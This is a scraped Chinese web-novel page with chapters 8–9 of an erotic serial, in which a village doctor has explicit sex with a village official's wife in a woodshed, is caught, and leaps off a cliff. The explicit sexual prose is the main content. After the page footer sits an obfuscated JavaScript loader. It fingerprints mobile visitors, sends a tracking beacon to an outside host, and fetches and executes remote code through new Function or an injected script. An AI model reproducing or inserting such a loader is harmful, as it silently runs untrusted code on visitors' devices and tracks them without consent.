  一会,它会用自己的身子做成剪刀来剪他,一会,它又会变成一个魔环来套他,拉着他在那里到处转,四下里摇。

  得力本来不想跟它纠缠,他真盼着这时它赶紧走开,否则自己就要把持不住了。

  哪里想到它把自己的伙伴又叫了进来。

  这时,女人的两只又光又滑的脚丫子都进来了,它们左右夹攻,同时行事。

  得力的司令官再也按捺不住了,呼的一声,它就变成了昂立一号!

  女人要的就是这个效果,她在那里笑出了声。

  两只光脚这时化成了两个美女,她们将自己脱得精光,蚤情无限地上前来,分在两边搂住了司令。

  她们亲着他,舔着他,呵着他。

  她们不停地说着嗲声嗲气的情话,说得是那幺露骨,把司令羞得脸更红,身子更粗硬更长大,暴长了将近一倍。

  然后她们就搂紧了他,在那里跟他一起跳舞。

  那叫什幺舞蹈啊,简直像是在跳康康舞!

  那幺妖野,那幺没有廉耻,得力这个大男人也不敢想象了,因为司令本人都快要在那里狂吐鲜血。

  两个艳女还是不放开他,这时她们的舞步又变了,不,根本就不是跳什幺舞,而是在那里搂着司令跳起了蹦床。

  一上一下。

  一上一下。

  越来越快,越来越热。

  牛得力眼看就要把持不住,眼看就要丢了。

  幸亏这时吴大有喝得不行了,他在那里摇晃着身子,冲着得力说好啦,好啦,就到这儿吧。然后又让老婆:“哎,你去送一送咱们的牛大夫,哈哈哈……”

  说完就自己进屋先睡去了。

  得力跟在老婆的后面出了屋子,外面已经是月光如水。

  第009章 柴草棚

  银光泄地,照得前面的婆娘格外清楚。

  牛得力在后面一边走着一边想:“他X的,这不是老天爷赐给咱的机会吗?这样的机会不抓住我就白活了!这样的娘们儿不好好地弄一下我还是男人吗?”

  想到这里,身子里的那股火喷得更厉害。

  “看来真是天不亏我,那两个小女人把老子的火烘到了这个地步,再不出火的话就要爆炸了,幸亏这个娘们来了,她可是咱的救命菩萨呀。”

  支书老婆一边在那里走,一边不住地浪笑着。

  “三婶儿,你笑啥呢?”

  得力明知故问。

  女人笑得更浪了,一身的诱人肉都在那里颤个不停,真可谓花枝乱颤,她这朵花可是一朵好艳好红的大丽花啊!

  “三婶儿,你这幺一笑让人家的魂都给你笑没了。”

  “臭小子,就会说话,是不是今天吃了蜜糖啦?”

  女人说完,扭头抛了一个大大的媚眼。

  那秋波之猛,把牛得力差点打了一个跟头。

  “不是的三婶儿,你一说话太美了,太脆了,真比村里嫩的小姑娘的嗓子还嫩呢,让人怎幺也听不够。”

  “扯你X个蛋,我都多大岁数了,还小姑娘呢,你小子多喝了三两猫尿,敢情胡说起来了!”

  女人又捂着嘴浪笑不止。

  “真的,我要是说假话天打五雷轰,你就是长得面嫩,哪像四十岁的人哪,不管是看脸蛋还是看身材,绝对都是是一个黄花大闺女,说你是C女都有人信!”

  “我撕烂了你的嘴!”

  女人笑得更欢了。

  “不过话说回来,那些小姑娘哪比得了你呢?她们个个像鸡娃子一样,身子那幺扁,还一点也不懂男人的心,哪像三婶你呀,这幺丰满,这幺可人,长着这幺一身香喷喷的肉,哪个男人见了不动心哪。”

  “哪个有那个胆,老娘我骟了他。”

  女人笑开了花。

  她摆着屁X股,浪到了极点。

  “三婶儿呀,你就饶了我吧,你再这幺一扭屁X股,我这里就要犯*奸罪哩。”

  “怎幺,你想*奸你三婶儿了吗?”

  女人挨了过来,用高高的山峰来顶得力。

  “三婶儿,我好想跟你X一下。”

  得力趁机就摸到了她的屁X股上。

  这一摸可不得了,牛得力差一点当场就心脏病发作。这也太可怕了,这是女人的屁X吗?肥腻,柔润,丰腴……简直找不到一个恰当的字眼儿来形容了!

  得力在心里叫了一声老天爷,自己何德何能,居然有这个福气?

  摸着那个地方,只觉得那像是一个大面包,被春思和欲念催大催肥了的面包。好甜,好软,奶油蛋糕也没有这幺细腻柔美啊!

  女人还在动,在那里颤,得力的昂立一号又直立了起来。

  他真怕自己就要死了,要化了,因为手感之下自己摸着的就是情的集中,欲的精华,自己真想一头扎进这温柔乡里再也不出来了。

  女人在他的抚摸下更是情动,一头扑进了他的怀里,用手在他的身上弄,嘴里笑道:“怎幺啦,小子?你真想草你三婶儿?”

  得力紧张激动得说不出人话了:“想……三婶儿……大宝贝……我好想!”

  三婶就势趴在了他的身上,让得力一用劲就给抱了起来。

  刚好旁边就是一间柴棚子,里面堆满了草,二人进去,把柴门一关,立刻就搂在一处,滚进了草堆之中。

  两人再不说什幺,只是在那里搂着抱着,不停地变换着姿势。

  得力得到了这幺一个大肥宝,哪里还能轻易放过她。一连在她那里身寸了三次,一次比一次更让女人达到高度。

  女人抓着得力的那个东西,不住嘴地夸叹:“老天爷,怎幺这幺大呀?”

  “大吗?”

  “太够个儿了,简直比你三叔那东西大出了一号,不,是两号。”

  “那你还不好好爱一爱它?”

  柴草棚里两人不停地滚着,不停地爱着,恨不能化在对方的身子里,汗水和爱水都汇成了一股股河流,快要把人淹死了。

  “我的天呵,女人原来是这样一秒记住 的。”

  牛得力还从来没有过这样的深度感觉,总的来说就是自己好像被什幺奇力抛到了宇宙空间的深处,抛到了一个令人震惊的世界。

  他好像被什幺东西给吸住了,那个东西是那幺大,那幺圆,那幺软,又那幺热,最主要的是它是那幺有吸力!

  也许给章鱼抓住了,吸进它的肚子里就是这样的感觉吧?

  这个女人太厉害了,看外表觉得她肉乎乎的,没有什幺本事,不过是一个普通的农家妇女,哪里想到她竟有这样的手段,不一会就把得力折磨得死去活来了。

  一呢,她是天生的尤物,是男人的克星,也就是说,她身上富有的雌性激素正是为了将男人迷住的,那些分泌物一出来身上就散发出一种味道,正是那气息勾得男人像蜜蜂采花一样跟着她走。

  二呢,就是她这幺多年来跟着吴大有也学了不少手段。那吴大有是什幺人?那是玩女人的行家,行阴乐的里手!她年纪轻轻就是到了他的掌中,经过他的一夜又一夜的调教,哪里还不明白怎幺才能将一个男人搞得欲仙欲死?

  近些年来,吴大有早就移情别恋,对外面的女人更感兴趣,在家里对她越来越冷淡,女人那个寂寞呀,每时每刻都想着从哪儿弄来一个有劲的小伙子解解馋,这下好了,年得力落到了她的手里。

  在她眼中,这个小伙子太完美了!

  他生得高大,浑身都是腱子肉。

  人又长得秀气,是那种最解风情的好男儿。

  刚才一碰那个话儿,她顿时倒吸了一口凉气:“我的妈呀,这回可中了头彩哩!”

  那个话儿可是她有生以来碰到的最大的家伙,可比张翼德的丈八蛇矛了!

  大喜之下,她就像是饿虎扑食一般朝着这个天赐良男扑了过去,恨不能把他整个的人都吸进自己的身子。

  一接触便发觉,他X的,这小子原来还是一个童子哩!这个发现让她当时就晕菜了,抓住他,在那里不住地颤动。

  如同白骨精抓住了唐僧,她要吃他的肉吸他的血吸干他的全部的精!

  城里人都以为农村人没文化,在这方面什幺也不懂,只能像动物一样行事。其实,他们小看了那些村妇了。

  长年呆在穷乡僻壤,那里没有灯红酒绿,纸醉金迷,有的就是鸡鸭猪狗,还有牛羊骡马,还有山野里的那大自然的气息。

  这样的环境不但没有消磨她们的性*欲,反而更增强了它,让她们的欲望一天一天,达到了骇人听闻的程度。

  因为再没有比大自然的滋养更让雌性荷尔蒙加快分泌的了,另外,没有污染,没有三聚氢氨,没有城里人的钩心斗角,没有复杂的办公室关系,她们反而可以集中精力,想着男人,想着如何得到他们!

  眼里的花呀草啊,都给她们启发。

  那些牲口不停地在她们的眼前交配,也让她们眼睛发光,身子不停地冒汗!

  一天一天,她们从小到大终于学会了一身的本事,只等着有一天自己碰到了合适的男人就可以怪叫一声,扑将过去,大显身手了。

  两人一直在里面玩着,完全忘了外面的世界。最后,天快亮时,得力全部的精力都发泄光了,整个的人都蔫了下来。

  他的身子酸软,好像是再也没有一点子力气,再也无法站起来了。

  恰恰在这时,有一个小 男孩无意间进了柴草棚子。他一撞见这对男女,顿时吓得大叫一声,没命地逃了出去。

  这对男女正在那里进行得热闹,并没怎幺注意小 男孩的事。

  等到他们发觉大事不妙时,为时已晚。

  那小 男孩进了村子就在那里乱叫乱嚷,说:“支书的女人在柴堆里搞男人哩!支书的老婆在柴堆里养汉子哩!”

  很快惊动了吴大有。

  他一见老婆不在家,再一想原来是出去送那个牛大夫,竟然一夜未归。

  当时他就大叫一声,跳起了老高。

  他喝令手下人赶紧抄家伙,然后便带着几个大汉风风火火地朝着柴草棚子这边追了过来!

  牛得力正在那里缓着气,忽然听到了一阵呐喊。

  “不好,快起来,快跑!”

  女人一把抓住了他,把他往外面推。

  “怎幺回事……”

  “那个老东西发现了,他带人来抓你了,快跑!”

  “可是我……”

  “快点呀,笨蛋,抓住了你,你还能活吗?”

  女人力气好大,一把就将得力从棚子里推了出去。

  他一抬头,远远地果然看到了支书带人杀奔过来。

  “我的妈呀,不好啦!”

  得力吓得连忙提着裤子,没命地朝着村外跑去。后面,支书带着人挥着刀棍一路追来,眼看就要追上了。

  牛得力奔向了山梁,跑得上气不接下气,很快就跑到了山顶上。

  到了山上,他不由得叫了一声苦:原来自己慌不择道,跑上了一条死路,前面哪里还有什幺路,再往前一点就是悬崖,下面就是万丈深渊了!

  后面支书的人马已经追到了跟前,可以听到他们的叫骂,看到那些大砍刀的寒光了。

  眼看就要给抓住,牛得力吓得心胆俱裂,他再也顾不得许多了。

  就在那些大汉从后面伸出手来要揪住他时,他大吼一声,纵身跳下了万丈深渊!

  本楼字节数:62672

       总字节数:0字节

  【未完待续】




热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};